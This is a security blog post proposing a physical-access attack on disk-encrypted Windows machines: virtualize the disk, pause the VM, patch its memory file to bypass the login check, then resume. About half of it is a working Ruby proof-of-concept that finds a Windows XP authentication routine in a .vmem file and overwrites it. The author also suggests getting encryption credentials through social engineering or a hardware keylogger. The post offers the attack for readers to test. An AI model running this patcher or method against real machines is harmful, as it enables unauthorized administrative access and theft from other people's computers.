This has been on my mind for a while but haven’t found the time to test it out yet, so here is the midnight idea if anyone wants to test it out.
Sometimes you need to become local administrator on a windows machine which has full disk encryption, is fully up to date and has very little software which could present you with a decent attack surface. Normally you would just whip out your readily available firewire attack tools, hook up your equipment and have a shell with elevated privileges in no-time. Let’s suppose the target machine doesn’t have a firewire port or it has the drivers disabled, how could we still pwn it?
This is when theory gets mixed with practical stuff (aka the part I haven’t practically tested yet). The essence of the firewire attack is to obtain direct memory access (DMA) with the goal to freely adjust memory. What if we could access the memory without the need for a firewire port, think virtualization. All (afaik) virtualization software uses a regular file on disk which represents the memory of the virtual machine. You prolly feel it coming by now, the attack boils down to:
Boot the target machine from a cd/dvd/usb virtualize the harddisk, pause the machine, patch the memory file, resume the machine, obtain elevated privileges.
Now that doesn’t sound to hard does it? Just one important obstacle: you do need the crypto credentials to be able to perform this attack. Think social engineering, hardware keylogger or just asking nicely.
I have performed a simulation of this attack to see if at least the part of pausing the virtual machine, patching the memory file and resuming it does work. The result is as expected it DOES work. Here is the ruby POC snippet that i wrote to test it out:
#used the offsets from winlockpwn
#POC virtualized firewire, https://diablohorn.wordpress.com
File.open("Windows XP Professional.vmem", "rb+") do |io|
while(b = io.read(9)) #read the exact amount of bytes needed for the signature
data = b.unpack("H18")
if data.to_s == "8BFF558BEC83EC50A1".downcase #lol i like pretty uppercase hex in code
spos = io.pos-9
io.seek(io.pos+4) #skip the cookie bytes
if io.read(3).unpack("H6").to_s == "8B4D20".downcase #this seems pretty constant check it to be sure
puts "found: #{io.pos}"
io.seek(spos+165) #advance to what we actually want to patch
puts "Patching offset: " + io.pos.to_s
puts "Original bytes: " + io.read(2).unpack("H4").to_s
puts "Patching with B001"
io.seek(io.pos-2)
count = io.write("\xb0\x01") #patch it
io.flush
io.fsync #really, really make sure we write to disk
puts "Written bytes #{count}"
io.seek(io.pos-2)
puts "Result: " + io.read(2).unpack("H4").to_s #verify it
io.close
exit #case closed
end
end
#this kinda results in an endless loop
fpos = io.pos-8
io.seek(fpos)
Signal.trap("USR1") do
puts "position: #{fpos}b, #{fpos/1048576}mb"
puts "data: %s" % data
end
end
end
The main obstacle at the moment is actually testing this out by virtualizing a real hard disk, since afaik it can result in a lot of problems which might prevent it from virtualizing correctly.
You might be wondering why we don’t just decrypt the harddisk, adjust some executable and encrypt the harddisk with the final result of elevated privileges. Well not all full disk encryption software allows you to decrypt the disk with the credentials you have. Some solution (specially if they are corporate) require additional keys and/or action to be taken before you are able to fully decrypt the harddisk. I assume that if you invest enough reversing time you might be able to still decrypt the harddisk with the credentials you have.
If anyone actually tests this out I would love to hear if it works, in case I get around to testing this myself I’ll let you guys know.
References
http://www.breaknenter.org/projects/ftwautopwn/
http://www.breaknenter.org/2011/05/winlockpwn-on-ubuntu/
http://www.moonloop.org/bin/view/Moonloop/Article:k9iBW83eo9cBsdUlg7Red6cUaILIXVGw
http://md.hudora.de/presentations/firewire/PacSec2004.pdf